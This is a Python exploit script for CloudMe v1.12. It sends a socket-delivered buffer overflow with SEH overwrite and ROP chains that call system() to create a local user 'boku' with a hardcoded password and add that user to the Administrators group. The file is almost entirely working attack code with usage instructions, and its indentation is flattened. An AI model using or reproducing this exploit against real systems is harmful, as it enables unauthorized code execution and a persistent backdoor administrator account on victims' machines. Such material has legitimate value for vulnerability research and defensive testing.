import os,sys,socket,struct
from colorama import Fore, Back, Style
F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE]
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
ok = S[3]+F[2]+')'+F[5]+'+++'+F[2]+'['+F[8]+'========> '+S[0]+F[0]
err= S[3]+F[2]+'<========'+F[2]+'['+F[5]+'+++'+F[2]+'( '+F[0]+S[0]
def formatMsg(STRING):
return ok+S[3]+F[5]+STRING+S[0]
def formatErr(STRING):
return err+S[3]+F[2]+STRING+S[0]
def getESP_RC():
GaDG3Tz = [
0x68bb4678,
0x0A9C8F3C,
0x68d5e818,
0x68D50537,
0x68D50537
]
print(formatMsg("Get ESP ROP Chain built!"))
return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
def msvcrt_rop_chain():
GaDG3Tz = [
0x68aec6ab,
0xFFFFFAEE,
0x68cef5b2,
0x68fc83b0,
0x68aec6ab,
0xFFFFFFFF,
0x68cef5b2,
0x68c7aa16,
0x68be726b,
0x68cee06d,
0x68fbed52,
0x68fa9d0d,
0x68aec6ab,
0xFFFFFFF6,
0x68c050c0,
0x68aec6ab,
0xFF7E5E98,
0x68cef5b2,
0x699030c5,
0x68d50536,
0x68d32800,
0x68D50537,
0x699f37ad,
0x6990F972,
0x68f7bc5e,
0x68cc462c
]
print(formatMsg("LoadLibraryA(LPSTR \"msvcrt.dll\") ROP Chain built!"))
return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
def GetProc_system_rop_chain():
GaDG3Tz = [
0x68aec6ab,
0xFFFFFB5E,
0x68cef5b2,
0x68fc83b0,
0x68aec6ab,
0xFFFFFFFF,
0x68cef5b2,
0x68c7aa16,
0x68be726b,
0x68cee06d,
0x68fbed52,
0x68fa9d0d,
0x68aec6ab,
0xFFFFFFFA,
0x68c050c0,
0x68fcf58d,
0x68aec6ab,
0xFF7E5EB8,
0x68cef5b2,
0x699030c5,
0x68b48196,
0x68be726b,
0x68cc462c,
0x68be726b,
0x68f94685,
0x68D50537,
0x699f37ad,
0x699010B4,
0X68f7bc5e,
0x68b1df17
]
print(formatMsg("GetProcAddress(HMODULE msvcrt, LPCSTR system) ROP Chain built!"))
return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
def addUsr_rop_chain():
GaDG3Tz = [
0x68aec6ab,
0xFFFFFBC8,
0x68cef5b2,
0x68fc83b0,
0x68aec6ab,
0xFFFFFFFF,
0x68cef5b2,
0x68c7aa16,
0x68be726b,
0x68cee06d,
0x68fbed52,
0x68fa9d0d,
0x68aec6ab,
0xFFFFFFE4,
0x68c050c0,
0x68d32800,
0x699f37ad,
0x68b1df17,
0x68b48196,
0x699f37ad,
0x6990F972,
0X68f7bc5e
]
print(formatMsg("system(const char* \"net user boku 0v3R9000! /add\") ROP Chain built!"))
return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
def addAdm_rop_chain():
GaDG3Tz = [
0x68b48196,
0x68b1df17,
0x68aec6ab,
0xFFFFFC09,
0x68cef5b2,
0x68fc83b0,
0x68aec6ab,
0xFFFFFFFF,
0x68cef5b2,
0x68c7aa16,
0x68be726b,
0x68cee06d,
0x68fbed52,
0x68fa9d0d,
0x68aec6ab,
0xFFFFFFD9,
0x68c050c0,
0x68d32800,
0x699f37ad,
0x68b1df17,
0x68b48196,
0x699f37ad,
0x6990F972,
0X68f7bc5e
]
print(formatMsg("system(const char* \"net localgroup Administrators boku /add\") ROP Chain built!"))
return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
def sendRecv(s,p):
print(formatMsg("Sending payload: "))
print(S[3]+F[7]+payload+S[0])
s.send(p)
data = s.recv(1024)
return data
def header():
head = S[3]+F[2]+' --- Cloudme v1.12 | Add Admin (boku:0v3R9000!) ---\n'+S[0]
return head
def sig():
SIG= S[3]+F[4]+" .-----.._ ,--.\n"
SIG += F[4]+" |..>___ || .--.\n"
SIG += F[4]+" ||.','-'"+F[2]+"* *"+F[4]+"'-. |//__ __\n"
SIG += F[4]+" |</ "+F[2]+"***"+F[4]+" \ / \\/ \\\n"
SIG += F[4]+" ||> )"+F[2]+" * *"+F[4]+" /\\\\\n"
SIG += F[4]+" |____..- '-.._..-'_|\\___|._..\\___\\\n"
SIG += F[4]+" _______"+F[2]+"github.com/boku7"+F[4]+"_____\n"+S[0]
return SIG
def footer():
foot = formatMsg('Requires that the Cloudme program is ran using \'Run As Administrator\'\n')
return foot
if __name__ == "__main__":
print(header())
print(sig())
print(footer())
if len(sys.argv) != 3:
print(formatErr("Usage: python %s <IP> <PORT>" % sys.argv[0]))
print(formaterr("Example: python %s '127.0.0.1' 8888" % sys.argv[0]))
sys.exit(-1)
host = sys.argv[1]
port = int(sys.argv[2])
rop_chain = getESP_RC() + msvcrt_rop_chain() + getESP_RC() + GetProc_system_rop_chain() + getESP_RC() + addUsr_rop_chain() + getESP_RC() + addAdm_rop_chain()
os_EIP= '\41'*1052
os_nSEH = '\x41'*(2344-len(os_EIP + rop_chain))
nSEH= '\x42'*4
SEH = '\x43'*4
buff= os_EIP + rop_chain + os_nSEH + nSEH + SEH
term = '\r\n'
kern32 = 'msvcrt.dll'+'AAAAAA'
winExe = 'system'+'BBBBBB'
addUsr = 'net user boku 0v3R9000! /add'+'CCCC'
addAdm = 'net localgroup Administrators boku /add'+'DDDD'
rmdr = '\x44'*(3854-len(buff)-len(kern32)-len(winExe)-len(addAdm))
payload = buff + kern32 + winExe + addUsr + addAdm + rmdr + term
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,port))
print(formatMsg( "Successfully connected to "+host+" on port "+str(port)))
resp = sendRecv(sock,payload)
print(formatMsg("Closing Socket"))
sock.close()
print(formatErr("Exiting python script."))
except:
print(formatErr("Failed to connect and send payload."))